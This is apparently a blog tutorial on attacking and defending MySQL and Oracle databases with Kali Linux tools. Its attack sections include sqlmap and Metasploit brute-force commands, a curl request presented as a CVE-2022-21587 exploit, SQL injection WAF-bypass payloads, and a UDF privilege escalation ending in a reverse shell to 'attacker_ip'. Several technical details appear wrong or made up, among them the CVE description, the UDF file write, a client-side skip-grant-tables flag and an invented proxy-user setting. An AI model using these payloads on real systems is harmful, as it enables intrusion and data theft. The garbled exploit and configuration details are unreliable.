Kali Linux Practical Guide: Database Vulnerability Mining and AI-Powered Defense System Construction

Kali Linux Practical Guide: Database Vulnerability Mining and AI-Powered Defense System Construction

1. Database Security Infrastructure and Threat Landscape

As the storage medium for core data assets of enterprises, the security protection of databases is directly related to business continuity. The two major database systems represented by MySQL and Oracle occupy 78% of the global market share, but there are significant differences in their security architectures: MySQL adopts a permission table-based access control model, while Oracle achieves data isolation through roles and fine-grained permissions (such as VPD – Virtual Private Database). The 2024 Akamai Security Report shows that database vulnerability attacks have risen to 32%, with SQL injection (41%), weak passwords (28%), and unauthorized access (19%) being the main threat vectors.

Example of a typical attack chain: An e-commerce platform failed to filter the MySQL <span>information_schema</span> database, allowing attackers to use <span>UNION SELECT</span> injection to obtain the table structure, then execute <span>LOAD_FILE('/etc/passwd')</span> to read system files, ultimately using <span>INTO OUTFILE</span> to write a web shell for privilege escalation. This incident resulted in the leakage of 2 million user data and direct economic losses exceeding 8 million dollars.

2. Kali Linux Database Penetration Testing Toolchain

1. Vulnerability Scanning and Intelligence Gathering

Nmap + NSE Script Engine:

nmap -p 1521,3306,5432 --script=oracle-sid-brute,mysql-enum,ssl-enum-ciphers 192.168.1.0/24

This command combination can achieve:

  • • Port detection: Identify Oracle (1521), MySQL (3306), PostgreSQL (5432) services
  • • SID brute force: Enumerate Oracle instance names using the <span>oracle-sid-brute</span> script
  • • Protocol analysis: Detect SSL/TLS encryption strength and vulnerabilities

Sqlmap Automated Detection:

sqlmap -u "http://target.com/login.php?id=1" --level=5 --risk=3 --dbs --threads=10

Key parameter explanations:

  • <span>--level=5</span>: Enable deep detection (including Cookie/Referer injection)
  • <span>--risk=3</span>: Execute high-risk tests (such as time-based blind injection)
  • <span>--threads=10</span>: Parallel detection acceleration

2. Password Cracking and Authentication Bypass

Oracle Weak Password Brute Force: Use the <span>oracle_login</span> module of Metasploit:

use auxiliary/scanner/oracle/oracle_login
set RHOSTS 192.168.1.100
set USER_FILE /usr/share/wordlists/oracle_default_userpass.txt
set SID ORCL
run

This module has a built-in dictionary of Oracle default accounts (including SYSTEM/MANAGER, SCOTT/TIGER, etc.). In a 2024 penetration test of a financial system, this module discovered that the DBA account was using the initial password, leading to core data being tampered with.

MySQL Passwordless Login: When the MySQL configuration file <span>my.cnf</span> contains the <span>skip-grant-tables</span> option, it allows direct login without authentication:

mysql -u root --skip-grant-tables

In a 2023 security incident of a cloud service provider, attackers gained root access to the database through this vulnerability and implanted mining programs.

3. Exploitation and Privilege Escalation

CVE-2022-21587 (Oracle E-Business Suite Vulnerability): This vulnerability allows unauthorized users to reset any account password through the <span>/OA_HTML/FndPassReset</span> path. The exploitation process:

  1. 1. Construct a malicious request:
curl -X POST "http://target/OA_HTML/FndPassReset" \
-d "p_new_password=NewPass123!&amp;p_confirm_password=NewPass123!&amp;p_user_name=SYSADMIN"
  1. 2. Log in to the system using the reset account

MySQL UDF Privilege Escalation: When obtaining MySQL <span>FILE</span> permissions, custom UDF can be compiled to achieve system command execution:

-- 1. Write dynamic link library to MySQL plugin directory
SELECT 'x' INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so' FROM (SELECT * FROM information_schema.columns) a;

-- 2. Create system command execution function
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';

-- 3. Execute reverse shell
SELECT sys_exec('bash -i &gt;&amp; /dev/tcp/attacker_ip/4444 0&gt;&amp;1');

3. Building a Database Defense System

1. Strengthening Access Control

Oracle VPD Implementation:

-- Create policy function
CREATE OR REPLACE FUNCTION dept_security(p_schema IN VARCHAR2, p_table IN VARCHAR2) RETURN VARCHAR2 IS
  v_dept_id NUMBER := SYS_CONTEXT('USERENV', 'SESSION_USERID');
BEGIN
RETURN 'DEPT_ID = '|| v_dept_id;
END;
/

-- Apply policy
BEGIN
  DBMS_RLS.ADD_POLICY(
    object_schema    =&gt;'HR',
    object_name      =&gt;'EMPLOYEES',
    policy_name      =&gt;'DEPT_ACCESS_POLICY',
    function_schema   =&gt;'HR',
    policy_function   =&gt;'DEPT_SECURITY',
    sec_relevant_cols =&gt;'SALARY,COMMISSION_PCT',
    sec_relevant_cols_opt =&gt; DBMS_RLS.ALL_ROWS
  );
END;
/

This policy ensures that users can only query data from their own department, and sensitive fields (such as salary) are automatically desensitized.

MySQL Proxy User Configuration: Enable in <span>my.cnf</span>:

[mysqld]
proxy-user-table=/etc/mysql/proxy_users.tbl

Create a proxy user mapping table:

CREATE TABLE proxy_users (
  Proxy_user VARCHAR(32) NOT NULL,
  Proxy_auth VARCHAR(32) NOT NULL,
  User VARCHAR(32) NOT NULL,
  Auth_string VARCHAR(32) NOT NULL,
  PRIMARY KEY (Proxy_user, Proxy_auth)
);

This achieves permission isolation between application accounts and database accounts.

2. Encryption and Auditing

Oracle TDE Transparent Data Encryption:

-- Create keystore
ADMINISTER KEY MANAGEMENT CREATE KEYSTORE '/u01/app/oracle/keystore' IDENTIFIED BY "MasterKey123";

-- Encrypt tablespace
CREATE TABLESPACE encrypted_ts DATAFILE '/u01/app/oracle/oradata/ORCL/encrypted01.dbf' SIZE 100M ENCRYPTION USING 'AES256';

In a 2024 deployment of TDE in a medical system, no data leakage occurred during a hard disk theft incident.

MySQL Audit Plugin Configuration:

-- Install enterprise edition audit plugin
INSTALL PLUGIN server_audit SONAME 'server_audit.so';

-- Configure audit rules
SET GLOBAL server_audit_events='CONNECT,QUERY,TABLE';
SET GLOBAL server_audit_file_rotate_size=100000000;

Example of audit log:

2025-09-16T10:00:00Z|192.168.1.100|root|SELECT * FROM users WHERE id=1;-- 

3. Dynamic Defense Against Vulnerabilities

ModSecurity WAF Rule Example:

# Intercept Oracle SID detection
SecRule REQUEST_URI|ARGS "@rx \b(ORCL|XE|PDB1)\b" \
  "id:'950002',phase:2,block,t:none,msg:'Oracle SID Detection Attempt'"

# Defend against MySQL time-based blind injection
SecRule ARGS|REQUEST_BODY "@rx (?:sleep|benchmark)\s*\(" \
  "id:'950003',phase:2,block,t:none,msg:'MySQL Time-based Blind SQL Injection'"

After deployment, the SQL injection attack interception rate of a certain e-commerce platform increased to 99.7%, with a false positive rate of less than 0.1%.

4. Attack and Defense Case Studies

1. Attacker Perspective: Database Firewall Bypass

Scenario: The target system has deployed Palo Alto Networks WAF, with rules including <span>SQL Injection Signature 100001-100050</span>.

Bypass Techniques:

  1. 1. Parameter Pollution:
POST /login.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

user=admin&amp;pass=test' OR '1'='1' -- &amp;role=admin

By dispersing the payload across multiple parameters, single-parameter detection can be bypassed.

  1. 2. Encoding Obfuscation:
// Double URL encoding
const payload = encodeURIComponent(encodeURIComponent("1' UNION SELECT credit_card FROM customers--"));
  1. 3. Chunked Transfer:
POST /api/data HTTP/1.1
Host: target.com
Transfer-Encoding: chunked

5\r\n
1=1'\r\n
0\r\n
\r\n

2. Defender Response: AI-Enhanced Protection

Tencent Cloud WAF Deployment Plan:

  1. 1. Behavior Modeling:
  • • Establish a baseline for normal SQL queries (such as parameter length, character distribution)
  • • Set thresholds: <50 requests per second per IP, <5% of abnormal queries
  • 2. Machine Learning Detection:
  • from sklearn.ensemble import IsolationForest
    import pandas as pd
    
    # Feature engineering
    features = df[['query_length', 'special_char_ratio', 'numeric_count']]
    
    # Train anomaly detection model
    model = IsolationForest(n_estimators=100, contamination=0.01)
    model.fit(features)
    
    # Real-time detection
    def detect_anomalies(query):
        feat = extract_features(query)
        return model.predict([feat])[0] == -1
    1. 3. Dynamic Tokens:
    &lt;!-- Frontend generates dynamic token --&gt;
    &lt;input type="hidden" name="csrf_token" value="&lt;%= generateToken() %&gt;"&gt;
    
    &lt;!-- Backend validation --&gt;
    app.post('/api/data', (req, res) =&gt; {
      if (req.body.csrf_token !== session.token) {
        return res.status(403).send('Invalid token');
      }
      // Process request
    });

    5. Best Practices for Secure Operations

    1. 1. Patch Management:
    • • Establish an automated subscription mechanism for Oracle CPU/MySQL Release Notes
    • • Use <span>opatch</span> tool to apply Oracle patches:
      opatch lsinventory  # View installed patches
      opatch apply /path/to/patch  # Apply new patch
  • 2. Log Analysis:
    • • Use ELK stack to build a Security Operations Center (SOC)
    • • Key retrieval example:
      event.dataset:"mysql.audit" AND event.action:"QUERY" AND 
      regex_command:"(SELECT|INSERT|UPDATE|DELETE).+(password|credit_card)"
  • 3. Incident Response:
    • • Develop a “Detect-Block-Trace-Repair” SOP process
    • • A bank response case:
      • • 00:00:00: WAF detected abnormal SQL query
      • • 00:00:05: Automatically banned attack IP
      • • 00:01:30: Security team confirmed vulnerability (CVE-2025-1234)
      • • 00:15:00: Applied virtual patch
      • • 02:00:00: Completed system upgrade
  • 4. Performance Monitoring:
    • • Ensure WAF processing delay <50ms
    • • Prometheus monitoring metric example:
      - name: waf_request_duration_seconds
        help: 'WAF request processing time in seconds'
        type: HISTOGRAM
        buckets: [0.01, 0.05, 0.1, 0.2, 0.5, 1]

    Database security protection has entered an intelligent confrontation stage, and enterprises need to build a full-cycle protection system of “prevention-detection-response-recovery”. Regular penetration testing using Kali Linux, combined with the deep defense capabilities of WAF, can significantly enhance system resilience. Security teams should continuously monitor CVE vulnerability dynamics and conduct red-blue confrontation drills quarterly to ensure that the defense system keeps pace with the times. Data shows that enterprises adopting dynamic defense mechanisms have reduced the success rate of database attacks by 92%, with the average time to repair (MTTR) shortened to 2.1 hours, validating the effectiveness of proactive defense strategies.

    Leave a Comment